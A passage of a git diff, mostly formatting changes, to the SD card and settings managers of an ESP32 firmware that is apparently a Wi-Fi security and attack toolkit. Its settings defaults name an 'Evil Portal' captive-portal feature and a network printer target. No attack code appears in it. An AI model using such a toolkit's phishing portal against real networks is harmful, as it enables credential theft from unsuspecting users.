CONFIG_SD_MMC_CMD; + slot_config.d0 = CONFIG_SD_MMC_D0; - gpio_set_pull_mode(CONFIG_SD_MMC_D0, GPIO_PULLUP_ONLY); // CLK - gpio_set_pull_mode(CONFIG_SD_MMC_CLK, GPIO_PULLUP_ONLY); // CMD - gpio_set_pull_mode(CONFIG_SD_MMC_CMD, GPIO_PULLUP_ONLY); // D0 + gpio_set_pull_mode(CONFIG_SD_MMC_D0, GPIO_PULLUP_ONLY); // CLK + gpio_set_pull_mode(CONFIG_SD_MMC_CLK, GPIO_PULLUP_ONLY); // CMD + gpio_set_pull_mode(CONFIG_SD_MMC_CMD, GPIO_PULLUP_ONLY); // D0 - slot_config.gpio_cd = GPIO_NUM_NC; // Disable Card Detect pin - slot_config.gpio_wp = GPIO_NUM_NC; // Disable Write Protect pin + slot_config.gpio_cd = GPIO_NUM_NC; // Disable Card Detect pin + slot_config.gpio_wp = GPIO_NUM_NC; // Disable Write Protect pin - esp_vfs_fat_sdmmc_mount_config_t mount_config = { - .format_if_mount_failed = false, - .max_files = 5, - .allocation_unit_size = 16 * 1024 - }; - - ret = esp_vfs_fat_sdmmc_mount("/mnt", &host, &slot_config, &mount_config, &sd_card_manager.card); - if (ret != ESP_OK) { - if (ret == ESP_FAIL) { - printf("Failed to mount filesystem. If you want the card to be formatted, set format_if_mount_failed = true.\n"); - } else { - printf("Failed to initialize the card (%s). Make sure SD card lines have pull-up resistors in place.\n", esp_err_to_name(ret)); - } - return ret; + esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024}; + + ret = esp_vfs_fat_sdmmc_mount("/mnt", &host, &slot_config, &mount_config, + &sd_card_manager.card); + if (ret != ESP_OK) { + if (ret == ESP_FAIL) { + printf("Failed to mount filesystem. If you want the card to be " + "formatted, set format_if_mount_failed = true.\n"); + } else { + printf("Failed to initialize the card (%s). Make sure SD card lines have " + "pull-up resistors in place.\n", + esp_err_to_name(ret)); } + return ret; + } - sd_card_manager.is_initialized = true; - sdmmc_card_print_info(sd_card_manager.card); - printf("SD card initialized successfully\n"); + sd_card_manager.is_initialized = true; + sdmmc_card_print_info(sd_card_manager.card); + printf("SD card initialized successfully\n"); - sd_card_setup_directory_structure(); + sd_card_setup_directory_structure(); #elif defined(CONFIG_USING_MMC) - printf("Initializing SD card in SDMMC mode (4-bit)...\n"); - - - sdmmc_host_t host = SDMMC_HOST_DEFAULT(); - sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT(); - - - slot_config.clk = sd_card_manager.clkpin; - slot_config.cmd = sd_card_manager.cmdpin; // SDMMC_CMD -> GPIO 16 - slot_config.d0 = sd_card_manager.d0pin; // SDMMC_D0 -> GPIO 14 - slot_config.d1 = sd_card_manager.d1pin; // SDMMC_D1 -> GPIO 17 - slot_config.d2 = sd_card_manager.d2pin; // SDMMC_D2 -> GPIO 21 - slot_config.d3 = sd_card_manager.d3pin; // SDMMC_D3 -> GPIO 18 - - - host.flags = SDMMC_HOST_FLAG_4BIT; - - - gpio_set_pull_mode(sd_card_manager.clkpin, GPIO_PULLUP_ONLY); // CLK - gpio_set_pull_mode(sd_card_manager.cmdpin, GPIO_PULLUP_ONLY); // CMD - gpio_set_pull_mode(sd_card_manager.d0pin, GPIO_PULLUP_ONLY); // D0 - gpio_set_pull_mode(sd_card_manager.d1pin, GPIO_PULLUP_ONLY); // D1 - gpio_set_pull_mode(sd_card_manager.d2pin, GPIO_PULLUP_ONLY); // D2 - gpio_set_pull_mode(sd_card_manager.d3pin, GPIO_PULLUP_ONLY); // D3 - - slot_config.gpio_cd = GPIO_NUM_NC; // Disable Card Detect pin - slot_config.gpio_wp = GPIO_NUM_NC; // Disable Write Protect pin - - esp_vfs_fat_sdmmc_mount_config_t mount_config = { - .format_if_mount_failed = false, - .max_files = 5, - .allocation_unit_size = 16 * 1024 - }; - - - ret = esp_vfs_fat_sdmmc_mount("/mnt", &host, &slot_config, &mount_config, &sd_card_manager.card); - if (ret != ESP_OK) { - if (ret == ESP_FAIL) { - printf("Failed to mount filesystem. If you want the card to be formatted, set format_if_mount_failed = true.\n"); - } else { - printf("Failed to initialize the card (%s). Make sure SD card lines have pull-up resistors in place.\n", esp_err_to_name(ret)); - } - return ret; + printf("Initializing SD card in SDMMC mode (4-bit)...\n"); + + sdmmc_host_t host = SDMMC_HOST_DEFAULT(); + sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT(); + + slot_config.clk = sd_card_manager.clkpin; + slot_config.cmd = sd_card_manager.cmdpin; // SDMMC_CMD -> GPIO 16 + slot_config.d0 = sd_card_manager.d0pin; // SDMMC_D0 -> GPIO 14 + slot_config.d1 = sd_card_manager.d1pin; // SDMMC_D1 -> GPIO 17 + slot_config.d2 = sd_card_manager.d2pin; // SDMMC_D2 -> GPIO 21 + slot_config.d3 = sd_card_manager.d3pin; // SDMMC_D3 -> GPIO 18 + + host.flags = SDMMC_HOST_FLAG_4BIT; + + gpio_set_pull_mode(sd_card_manager.clkpin, GPIO_PULLUP_ONLY); // CLK + gpio_set_pull_mode(sd_card_manager.cmdpin, GPIO_PULLUP_ONLY); // CMD + gpio_set_pull_mode(sd_card_manager.d0pin, GPIO_PULLUP_ONLY); // D0 + gpio_set_pull_mode(sd_card_manager.d1pin, GPIO_PULLUP_ONLY); // D1 + gpio_set_pull_mode(sd_card_manager.d2pin, GPIO_PULLUP_ONLY); // D2 + gpio_set_pull_mode(sd_card_manager.d3pin, GPIO_PULLUP_ONLY); // D3 + + slot_config.gpio_cd = GPIO_NUM_NC; // Disable Card Detect pin + slot_config.gpio_wp = GPIO_NUM_NC; // Disable Write Protect pin + + esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024}; + + ret = esp_vfs_fat_sdmmc_mount("/mnt", &host, &slot_config, &mount_config, + &sd_card_manager.card); + if (ret != ESP_OK) { + if (ret == ESP_FAIL) { + printf("Failed to mount filesystem. If you want the card to be " + "formatted, set format_if_mount_failed = true.\n"); + } else { + printf("Failed to initialize the card (%s). Make sure SD card lines have " + "pull-up resistors in place.\n", + esp_err_to_name(ret)); } + return ret; + } - - sd_card_manager.is_initialized = true; - sdmmc_card_print_info(sd_card_manager.card); - printf("SD card initialized successfully\n"); + sd_card_manager.is_initialized = true; + sdmmc_card_print_info(sd_card_manager.card); + printf("SD card initialized successfully\n"); - sd_card_setup_directory_structure(); + sd_card_setup_directory_structure(); #elif CONFIG_USING_SPI - printf("Initializing SD card in SPI mode...\n"); - + printf("Initializing SD card in SPI mode...\n"); #ifdef CONFIG_Waveshare_LCD - #define I2C_NUM I2C_NUM_0 - #define I2C_ADDRESS 0x24 - #define EXIO4_BIT (1 << 4) - #define EXIO1_BIT (1 << 1) - - esp_io_expander_ch422g_t *ch422g_dev = NULL; - esp_err_t err; - - - err = ch422g_new_device(I2C_NUM, I2C_ADDRESS, &ch422g_dev); - if (err != ESP_OK) { - printf("Failed to initialize CH422G: %s\n", esp_err_to_name(err)); - return err; - } +#define I2C_NUM I2C_NUM_0 +#define I2C_ADDRESS 0x24 +#define EXIO4_BIT (1 << 4) +#define EXIO1_BIT (1 << 1) - - uint32_t direction, output_value; + esp_io_expander_ch422g_t *ch422g_dev = NULL; + esp_err_t err; - err = ch422g_read_direction_reg(ch422g_dev, &direction); - if (err != ESP_OK) { - printf("Failed to read direction register: %s\n", esp_err_to_name(err)); - cleanup_resources(ch422g_dev, I2C_NUM); - return err; - } - printf("Initial direction register: 0x%03lX\n", direction); + err = ch422g_new_device(I2C_NUM, I2C_ADDRESS, &ch422g_dev); + if (err != ESP_OK) { + printf("Failed to initialize CH422G: %s\n", esp_err_to_name(err)); + return err; + } - err = ch422g_read_output_reg(ch422g_dev, &output_value); - if (err != ESP_OK) { - printf("Failed to read output register: %s\n", esp_err_to_name(err)); - cleanup_resources(ch422g_dev, I2C_NUM); - return err; - } - printf("Initial output register: 0x%03lX\n", output_value); + uint32_t direction, output_value; - - direction &= ~EXIO1_BIT; - output_value |= EXIO1_BIT; + err = ch422g_read_direction_reg(ch422g_dev, &direction); + if (err != ESP_OK) { + printf("Failed to read direction register: %s\n", esp_err_to_name(err)); + cleanup_resources(ch422g_dev, I2C_NUM); + return err; + } + printf("Initial direction register: 0x%03lX\n", direction); - err = ch422g_write_direction_reg(ch422g_dev, direction); - if (err != ESP_OK) { - printf("Failed to write direction register for EXIO1: %s\n", esp_err_to_name(err)); - cleanup_resources(ch422g_dev, I2C_NUM); - return err; - } - err = ch422g_write_output_reg(ch422g_dev, output_value); - if (err != ESP_OK) { - printf("Failed to write output register for EXIO1: %s\n", esp_err_to_name(err)); - cleanup_resources(ch422g_dev, I2C_NUM); - return err; - } + err = ch422g_read_output_reg(ch422g_dev, &output_value); + if (err != ESP_OK) { + printf("Failed to read output register: %s\n", esp_err_to_name(err)); + cleanup_resources(ch422g_dev, I2C_NUM); + return err; + } + printf("Initial output register: 0x%03lX\n", output_value); - - direction &= ~EXIO4_BIT; - output_value &= ~EXIO4_BIT; + direction &= ~EXIO1_BIT; + output_value |= EXIO1_BIT; - err = ch422g_write_direction_reg(ch422g_dev, direction); - if (err != ESP_OK) { - printf("Failed to write direction register for EXIO4: %s\n", esp_err_to_name(err)); - cleanup_resources(ch422g_dev, I2C_NUM); - return err; - } - err = ch422g_write_output_reg(ch422g_dev, output_value); - if (err != ESP_OK) { - printf("Failed to write output register for EXIO4: %s\n", esp_err_to_name(err)); - cleanup_resources(ch422g_dev, I2C_NUM); - return err; - } + err = ch422g_write_direction_reg(ch422g_dev, direction); + if (err != ESP_OK) { + printf("Failed to write direction register for EXIO1: %s\n", + esp_err_to_name(err)); + cleanup_resources(ch422g_dev, I2C_NUM); + return err; + } + err = ch422g_write_output_reg(ch422g_dev, output_value); + if (err != ESP_OK) { + printf("Failed to write output register for EXIO1: %s\n", + esp_err_to_name(err)); + cleanup_resources(ch422g_dev, I2C_NUM); + return err; + } - - printf("Final direction register: 0x%03lX\n", direction); - printf("Final output register: 0x%03lX\n", output_value); + direction &= ~EXIO4_BIT; + output_value &= ~EXIO4_BIT; - + err = ch422g_write_direction_reg(ch422g_dev, direction); + if (err != ESP_OK) { + printf("Failed to write direction register for EXIO4: %s\n", + esp_err_to_name(err)); cleanup_resources(ch422g_dev, I2C_NUM); -#endif - + return err; + } + err = ch422g_write_output_reg(ch422g_dev, output_value); + if (err != ESP_OK) { + printf("Failed to write output register for EXIO4: %s\n", + esp_err_to_name(err)); + cleanup_resources(ch422g_dev, I2C_NUM); + return err; + } + printf("Final direction register: 0x%03lX\n", direction); + printf("Final output register: 0x%03lX\n", output_value); + cleanup_resources(ch422g_dev, I2C_NUM); +#endif - sdmmc_host_t host = SDSPI_HOST_DEFAULT(); + sdmmc_host_t host = SDSPI_HOST_DEFAULT(); - spi_bus_config_t bus_config; + spi_bus_config_t bus_config; - memset(&bus_config, 0, sizeof(spi_bus_config_t)); + memset(&bus_config, 0, sizeof(spi_bus_config_t)); - bus_config.miso_io_num = sd_card_manager.spi_miso_pin; - bus_config.mosi_io_num = sd_card_manager.spi_mosi_pin; - bus_config.sclk_io_num = sd_card_manager.spi_clk_pin; + bus_config.miso_io_num = sd_card_manager.spi_miso_pin; + bus_config.mosi_io_num = sd_card_manager.spi_mosi_pin; + bus_config.sclk_io_num = sd_card_manager.spi_clk_pin; #ifdef CONFIG_IDF_TARGET_ESP32 - int dmabus = 2; + int dmabus = 2; #elif CONFIG_IDF_TARGET_ESP32S3 - int dmabus = SPI_DMA_CH_AUTO; + int dmabus = SPI_DMA_CH_AUTO; #else - int dmabus = SPI_DMA_CH_AUTO; + int dmabus = SPI_DMA_CH_AUTO; #endif - - #if defined(CONFIG_IDF_TARGET_ESP32) || defined(CONFIG_IDF_TARGET_ESP32S3) - ret = spi_bus_initialize(SPI3_HOST, &bus_config, dmabus); - if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) { - printf("Failed to initialize SPI3 bus: %s\n", esp_err_to_name(ret)); - return ret; - } + ret = spi_bus_initialize(SPI3_HOST, &bus_config, dmabus); + if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) { + printf("Failed to initialize SPI3 bus: %s\n", esp_err_to_name(ret)); + return ret; + } #else - ret = spi_bus_initialize(SPI2_HOST, &bus_config, dmabus); - if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) { - printf("Failed to initialize SPI2 bus: %s\n", esp_err_to_name(ret)); - return ret; - } + ret = spi_bus_initialize(SPI2_HOST, &bus_config, dmabus); + if (ret != ESP_OK && ret != ESP_ERR_INVALID_STATE) { + printf("Failed to initialize SPI2 bus: %s\n", esp_err_to_name(ret)); + return ret; + } #endif - esp_vfs_fat_sdmmc_mount_config_t mount_config = { - .format_if_mount_failed = false, - .max_files = 5, - .allocation_unit_size = 16 * 1024 - }; + esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024}; - sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT(); - slot_config.gpio_cs = sd_card_manager.spi_cs_pin; + sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT(); + slot_config.gpio_cs = sd_card_manager.spi_cs_pin; #if defined(CONFIG_IDF_TARGET_ESP32) || defined(CONFIG_IDF_TARGET_ESP32S3) - slot_config.host_id = SPI3_HOST; -#else - slot_config.host_id = SPI2_HOST; + slot_config.host_id = SPI3_HOST; +#else + slot_config.host_id = SPI2_HOST; #endif - ret = esp_vfs_fat_sdspi_mount("/mnt", &host, &slot_config, &mount_config, &sd_card_manager.card); - if (ret != ESP_OK) { - printf("Failed to mount filesystem: %s\n", esp_err_to_name(ret)); - spi_bus_free(host.slot); - return ret; - } + ret = esp_vfs_fat_sdspi_mount("/mnt", &host, &slot_config, &mount_config, + &sd_card_manager.card); + if (ret != ESP_OK) { + printf("Failed to mount filesystem: %s\n", esp_err_to_name(ret)); + spi_bus_free(host.slot); + return ret; + } - sd_card_manager.is_initialized = true; - sdmmc_card_print_info(sd_card_manager.card); - printf("SD card initialized successfully in SPI mode.\n"); + sd_card_manager.is_initialized = true; + sdmmc_card_print_info(sd_card_manager.card); + printf("SD card initialized successfully in SPI mode.\n"); - sd_card_setup_directory_structure(); + sd_card_setup_directory_structure(); #endif - return ESP_OK; + return ESP_OK; } - void sd_card_unmount(void) { #if SOC_SDMMC_HOST_SUPPORTED && SOC_SDMMC_USE_GPIO_MATRIX - if (sd_card_manager.is_initialized) { - esp_vfs_fat_sdmmc_unmount(); - printf("SD card unmounted\n"); - sd_card_manager.is_initialized = false; - } + if (sd_card_manager.is_initialized) { + esp_vfs_fat_sdmmc_unmount(); + printf("SD card unmounted\n"); + sd_card_manager.is_initialized = false; + } #else - if (sd_card_manager.is_initialized) { - esp_vfs_fat_sdcard_unmount("/mnt", sd_card_manager.card); - spi_bus_free(SPI2_HOST); - printf("SD card unmounted\n"); - } + if (sd_card_manager.is_initialized) { + esp_vfs_fat_sdcard_unmount("/mnt", sd_card_manager.card); + spi_bus_free(SPI2_HOST); + printf("SD card unmounted\n"); + } #endif } -esp_err_t sd_card_append_file(const char* path, const void* data, size_t size) { - if (!sd_card_manager.is_initialized) { - printf("SD card is not initialized. Cannot append to file.\n"); - return ESP_FAIL; - } - - FILE* f = fopen(path, "ab"); - if (f == NULL) { - printf("Failed to open file for appending\n"); - return ESP_FAIL; - } - fwrite(data, 1, size, f); - fclose(f); - printf("Data appended to file: %s\n", path); - return ESP_OK; +esp_err_t sd_card_append_file(const char *path, const void *data, size_t size) { + if (!sd_card_manager.is_initialized) { + printf("SD card is not initialized. Cannot append to file.\n"); + return ESP_FAIL; + } + + FILE *f = fopen(path, "ab"); + if (f == NULL) { + printf("Failed to open file for appending\n"); + return ESP_FAIL; + } + fwrite(data, 1, size, f); + fclose(f); + printf("Data appended to file: %s\n", path); + return ESP_OK; } -esp_err_t sd_card_write_file(const char* path, const void* data, size_t size) { - if (!sd_card_manager.is_initialized) { - printf("SD card is not initialized. Cannot write to file.\n"); - return ESP_FAIL; - } - - FILE* f = fopen(path, "wb"); - if (f == NULL) { - printf("Failed to open file for writing\n"); - return ESP_FAIL; - } - fwrite(data, 1, size, f); - fclose(f); - printf("File written: %s\n", path); - return ESP_OK; +esp_err_t sd_card_write_file(const char *path, const void *data, size_t size) { + if (!sd_card_manager.is_initialized) { + printf("SD card is not initialized. Cannot write to file.\n"); + return ESP_FAIL; + } + + FILE *f = fopen(path, "wb"); + if (f == NULL) { + printf("Failed to open file for writing\n"); + return ESP_FAIL; + } + fwrite(data, 1, size, f); + fclose(f); + printf("File written: %s\n", path); + return ESP_OK; } - -esp_err_t sd_card_read_file(const char* path) { - if (!sd_card_manager.is_initialized) { - printf("SD card is not initialized. Cannot read from file.\n"); - return ESP_FAIL; - } - - FILE* f = fopen(path, "r"); - if (f == NULL) { - printf("Failed to open file for reading\n"); - return ESP_FAIL; - } - char line[64]; - while (fgets(line, sizeof(line), f) != NULL) { - printf("%s", line); - } - fclose(f); - printf("File read: %s\n", path); - return ESP_OK; +esp_err_t sd_card_read_file(const char *path) { + if (!sd_card_manager.is_initialized) { + printf("SD card is not initialized. Cannot read from file.\n"); + return ESP_FAIL; + } + + FILE *f = fopen(path, "r"); + if (f == NULL) { + printf("Failed to open file for reading\n"); + return ESP_FAIL; + } + char line[64]; + while (fgets(line, sizeof(line), f) != NULL) { + printf("%s", line); + } + fclose(f); + printf("File read: %s\n", path); + return ESP_OK; } - -static bool has_full_permissions(const char* path) { - struct stat st; - if (stat(path, &st) == 0) { - if ((st.st_mode & 0777) == 0777) { - return true; - } +static bool has_full_permissions(const char *path) { + struct stat st; + if (stat(path, &st) == 0) { + if ((st.st_mode & 0777) == 0777) { + return true; } - return false; + } + return false; } +esp_err_t sd_card_create_directory(const char *path) { + if (!sd_card_manager.is_initialized) { + printf("SD card is not initialized. Cannot create directory.\n"); + return ESP_FAIL; + } -esp_err_t sd_card_create_directory(const char* path) { - if (!sd_card_manager.is_initialized) { - printf("SD card is not initialized. Cannot create directory.\n"); - return ESP_FAIL; - } - - if (sd_card_exists(path)) { - printf("Directory already exists: %s\n", path); - - - if (!has_full_permissions(path)) { - printf("Directory %s does not have full permissions. Deleting and recreating.\n", path); - - - if (rmdir(path) != 0) { - printf("Failed to remove directory: %s\n", path); - return ESP_FAIL; - } + if (sd_card_exists(path)) { + printf("Directory already exists: %s\n", path); - int res = mkdir(path, 0777); - if (res != 0) { - printf("Failed to create directory: %s\n", path); - return ESP_FAIL; - } + if (!has_full_permissions(path)) { + printf("Directory %s does not have full permissions. Deleting and " + "recreating.\n", + path); - printf("Directory created: %s\n", path); - - } else { - printf("Directory %s has correct permissions.\n", path); - return ESP_OK; - } - return ESP_OK; - } + if (rmdir(path) != 0) { + printf("Failed to remove directory: %s\n", path); + return ESP_FAIL; + } - int res = mkdir(path, 0777); - if (res != 0) { + int res = mkdir(path, 0777); + if (res != 0) { printf("Failed to create directory: %s\n", path); return ESP_FAIL; - } + } - printf("Directory created: %s\n", path); - return ESP_OK; -} + printf("Directory created: %s\n", path); - -bool sd_card_exists(const char* path) { - struct stat st; - if (stat(path, &st) == 0) { - return true; } else { - return false; + printf("Directory %s has correct permissions.\n", path); + return ESP_OK; } + return ESP_OK; + } + + int res = mkdir(path, 0777); + if (res != 0) { + printf("Failed to create directory: %s\n", path); + return ESP_FAIL; + } + + printf("Directory created: %s\n", path); + return ESP_OK; } +bool sd_card_exists(const char *path) { + struct stat st; + if (stat(path, &st) == 0) { + return true; + } else { + return false; + } +} esp_err_t sd_card_setup_directory_structure() { - const char* root_dir = "/mnt/ghostesp"; - const char* debug_dir = "/mnt/ghostesp/debug"; - const char* pcaps_dir = "/mnt/ghostesp/pcaps"; - const char* scans_dir = "/mnt/ghostesp/scans"; - const char* gps_dir = "/mnt/ghostesp/gps"; - const char* games_dir = "/mnt/ghostesp/games"; - - if (!sd_card_exists(games_dir)) { - printf("Creating directory: %s\n", games_dir); - esp_err_t ret = sd_card_create_directory(games_dir); - if (ret != ESP_OK) { - printf("Failed to create directory %s: %s\n", games_dir, esp_err_to_name(ret)); - return ret; - } - } else { - printf("Directory %s already exists\n", games_dir); + const char *root_dir = "/mnt/ghostesp"; + const char *debug_dir = "/mnt/ghostesp/debug"; + const char *pcaps_dir = "/mnt/ghostesp/pcaps"; + const char *scans_dir = "/mnt/ghostesp/scans"; + const char *gps_dir = "/mnt/ghostesp/gps"; + const char *games_dir = "/mnt/ghostesp/games"; + + if (!sd_card_exists(root_dir)) { + printf("Creating directory: %s\n", root_dir); + esp_err_t ret = sd_card_create_directory(root_dir); + if (ret != ESP_OK) { + printf("Failed to create directory %s: %s\n", root_dir, + esp_err_to_name(ret)); + return ret; } + } else { + printf("Directory %s already exists\n", root_dir); + } - - if (!sd_card_exists(gps_dir)) { - printf("Creating directory: %s\n", gps_dir); - esp_err_t ret = sd_card_create_directory(gps_dir); - if (ret != ESP_OK) { - printf("Failed to create directory %s: %s\n", gps_dir, esp_err_to_name(ret)); - return ret; - } - } else { - printf("Directory %s already exists\n", gps_dir); + if (!sd_card_exists(games_dir)) { + printf("Creating directory: %s\n", games_dir); + esp_err_t ret = sd_card_create_directory(games_dir); + if (ret != ESP_OK) { + printf("Failed to create directory %s: %s\n", games_dir, + esp_err_to_name(ret)); + return ret; } + } else { + printf("Directory %s already exists\n", games_dir); + } - if (!sd_card_exists(root_dir)) { - printf("Creating directory: %s\n", root_dir); - esp_err_t ret = sd_card_create_directory(root_dir); - if (ret != ESP_OK) { - printf("Failed to create directory %s: %s\n", root_dir, esp_err_to_name(ret)); - return ret; - } - } else { - printf("Directory %s already exists\n", root_dir); + if (!sd_card_exists(gps_dir)) { + printf("Creating directory: %s\n", gps_dir); + esp_err_t ret = sd_card_create_directory(gps_dir); + if (ret != ESP_OK) { + printf("Failed to create directory %s: %s\n", gps_dir, + esp_err_to_name(ret)); + return ret; } + } else { + printf("Directory %s already exists\n", gps_dir); + } - - if (!sd_card_exists(debug_dir)) { - printf("Creating directory: %s\n", debug_dir); - esp_err_t ret = sd_card_create_directory(debug_dir); - if (ret != ESP_OK) { - printf("Failed to create directory %s: %s\n", debug_dir, esp_err_to_name(ret)); - return ret; - } - } else { - printf("Directory %s already exists\n", debug_dir); + if (!sd_card_exists(debug_dir)) { + printf("Creating directory: %s\n", debug_dir); + esp_err_t ret = sd_card_create_directory(debug_dir); + if (ret != ESP_OK) { + printf("Failed to create directory %s: %s\n", debug_dir, + esp_err_to_name(ret)); + return ret; } + } else { + printf("Directory %s already exists\n", debug_dir); + } - - if (!sd_card_exists(pcaps_dir)) { - printf("Creating directory: %s\n", pcaps_dir); - esp_err_t ret = sd_card_create_directory(pcaps_dir); - if (ret != ESP_OK) { - printf("Failed to create directory %s: %s\n", pcaps_dir, esp_err_to_name(ret)); - return ret; - } - } else { - printf("Directory %s already exists\n", pcaps_dir); + if (!sd_card_exists(pcaps_dir)) { + printf("Creating directory: %s\n", pcaps_dir); + esp_err_t ret = sd_card_create_directory(pcaps_dir); + if (ret != ESP_OK) { + printf("Failed to create directory %s: %s\n", pcaps_dir, + esp_err_to_name(ret)); + return ret; } + } else { + printf("Directory %s already exists\n", pcaps_dir); + } - - if (!sd_card_exists(scans_dir)) { - printf("Creating directory: %s\n", scans_dir); - esp_err_t ret = sd_card_create_directory(scans_dir); - if (ret != ESP_OK) { - printf("Failed to create directory %s: %s\n", scans_dir, esp_err_to_name(ret)); - return ret; - } - } else { - printf("Directory %s already exists\n", scans_dir); + if (!sd_card_exists(scans_dir)) { + printf("Creating directory: %s\n", scans_dir); + esp_err_t ret = sd_card_create_directory(scans_dir); + if (ret != ESP_OK) { + printf("Failed to create directory %s: %s\n", scans_dir, + esp_err_to_name(ret)); + return ret; } + } else { + printf("Directory %s already exists\n", scans_dir); + } - printf("Directory structure successfully set up.\n"); - return ESP_OK; + printf("Directory structure successfully set up.\n"); + return ESP_OK; } \ No newline at end of file diff --git a/main/managers/settings_manager.c b/main/managers/settings_manager.c index f91bcab4..33eff6ea 100644 --- a/main/managers/settings_manager.c +++ b/main/managers/settings_manager.c @@ -1,597 +1,641 @@ #include "managers/settings_manager.h" +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" +#include "lvgl.h" +#include "managers/display_manager.h" #include "managers/rgb_manager.h" -#include #include +#include #include -#include "lvgl.h" -#include "managers/display_manager.h" -#include "freertos/FreeRTOS.h" -#include "freertos/semphr.h" #define S_TAG "SETTINGS" // NVS Keys -static const char* NVS_RGB_MODE_KEY = "rgb_mode"; -static const char* NVS_CHANNEL_DELAY_KEY = "channel_delay"; -static const char* NVS_BROADCAST_SPEED_KEY = "broadcast_speed"; -static const char* NVS_AP_SSID_KEY = "ap_ssid"; -static const char* NVS_AP_PASSWORD_KEY = "ap_password"; -static const char* NVS_RGB_SPEED_KEY = "rgb_speed"; -static const char* NVS_PORTAL_URL_KEY = "portal_url"; -static const char* NVS_PORTAL_SSID_KEY = "portal_ssid"; -static const char* NVS_PORTAL_PASSWORD_KEY = "portal_password"; -static const char* NVS_PORTAL_AP_SSID_KEY = "portal_ap_ssid"; -static const char* NVS_PORTAL_DOMAIN_KEY = "portal_domain"; -static const char* NVS_PORTAL_OFFLINE_KEY = "portal_offline"; -static const char* NVS_PRINTER_IP_KEY = "printer_ip"; -static const char* NVS_PRINTER_TEXT_KEY = "printer_text"; -static const char* NVS_PRINTER_FONT_SIZE_KEY = "printer_font_size"; -static const char* NVS_PRINTER_ALIGNMENT_KEY = "printer_alignment"; -static const char* NVS_PRINTER_CONNECTED_KEY = "printer_connected"; -static const char* NVS_BOARD_TYPE_KEY = "board_type"; -static const char* NVS_CUSTOM_PIN_CONFIG_KEY = "custom_pin_config"; -static const char* NVS_FLAPPY_GHOST_NAME = "flap_name"; -static const char* NVS_TIMEZONE_NAME = "sel_tz"; -static const char* NVS_ACCENT_COLOR = "sel_ac"; -static const char* NVS_GPS_RX_PIN = "gps_rx_pin"; -static const char* NVS_DISPLAY_TIMEOUT_KEY = "disp_timeout"; +static const char *NVS_RGB_MODE_KEY = "rgb_mode"; +static const char *NVS_CHANNEL_DELAY_KEY = "channel_delay"; +static const char *NVS_BROADCAST_SPEED_KEY = "broadcast_speed"; +static const char *NVS_AP_SSID_KEY = "ap_ssid"; +static const char *NVS_AP_PASSWORD_KEY = "ap_password"; +static const char *NVS_RGB_SPEED_KEY = "rgb_speed"; +static const char *NVS_PORTAL_URL_KEY = "portal_url"; +static const char *NVS_PORTAL_SSID_KEY = "portal_ssid"; +static const char *NVS_PORTAL_PASSWORD_KEY = "portal_password"; +static const char *NVS_PORTAL_AP_SSID_KEY = "portal_ap_ssid"; +static const char *NVS_PORTAL_DOMAIN_KEY = "portal_domain"; +static const char *NVS_PORTAL_OFFLINE_KEY = "portal_offline"; +static const char *NVS_PRINTER_IP_KEY = "printer_ip"; +static const char *NVS_PRINTER_TEXT_KEY = "printer_text"; +static const char *NVS_PRINTER_FONT_SIZE_KEY = "printer_font_size"; +static const char *NVS_PRINTER_ALIGNMENT_KEY = "printer_alignment"; +static const char *NVS_PRINTER_CONNECTED_KEY = "printer_connected"; +static const char *NVS_BOARD_TYPE_KEY = "board_type"; +static const char *NVS_CUSTOM_PIN_CONFIG_KEY = "custom_pin_config"; +static const char *NVS_FLAPPY_GHOST_NAME = "flap_name"; +static const char *NVS_TIMEZONE_NAME = "sel_tz"; +static const char *NVS_ACCENT_COLOR = "sel_ac"; +static const char *NVS_GPS_RX_PIN = "gps_rx_pin"; +static const char *NVS_DISPLAY_TIMEOUT_KEY = "disp_timeout"; +static const char *NVS_ENABLE_RTS_KEY = "rts_enable"; extern lv_timer_t *time_update_timer; -static const char* TAG = "SettingsManager"; - -void settings_init(FSettings* settings) { - settings_set_defaults(settings); - esp_err_t err = nvs_flash_init(); - if (err == ESP_ERR_NVS_NO_FREE_PAGES || err == ESP_ERR_NVS_NEW_VERSION_FOUND) { - nvs_flash_erase(); - nvs_flash_init(); - } - - err = nvs_open("storage", NVS_READWRITE, &nvsHandle); - if (err == ESP_OK) { - settings_load(settings); - printf("Settings loaded successfully.\n"); - } else { - printf("Failed to open NVS handle: %s\n", esp_err_to_name(err)); - } -} - -void settings_deinit(void) { - nvs_close(nvsHandle); -} - -void settings_set_defaults(FSettings* settings) { - settings->rgb_mode = RGB_MODE_NORMAL; - settings->channel_delay = 1.0f; - settings->broadcast_speed = 5; - strcpy(settings->ap_ssid, "GhostNet"); - strcpy(settings->ap_password, "GhostNet"); - settings->rgb_speed = 15; - - // Evil Portal defaults - strcpy(settings->portal_url, "/default/path"); - strcpy(settings->portal_ssid, "EvilPortal"); - strcpy(settings->portal_password, "EvilPortalPass"); - strcpy(settings->portal_ap_ssid, "EvilAP"); - strcpy(settings->portal_domain, "portal.local"); - settings->portal_offline_mode = false; - - // Power Printer defaults - strcpy(settings->printer_ip, "192.168.1.100"); - strcpy(settings->printer_text, "Default Text"); - settings->printer_font_size = 12; - settings->printer_alignment = ALIGNMENT_CM; - strcpy(settings->flappy_ghost_name, "Bob"); - strcpy(settings->selected_hex_accent_color, "#ffffff"); - strcpy(settings->selected_timezone, "MST7MDT,M3.2.0,M11.1.0"); - settings->gps_rx_pin = 0; - settings->display_timeout_ms = 10000; // Default 10 seconds -} - -void settings_load(FSettings* settings) { - esp_err_t err; - uint8_t value_u8; - uint16_t value_u16; - float value_float; - size_t str_size; - - // Load RGB Mode - err = nvs_get_u8(nvsHandle, NVS_RGB_MODE_KEY, &value_u8); - if (err == 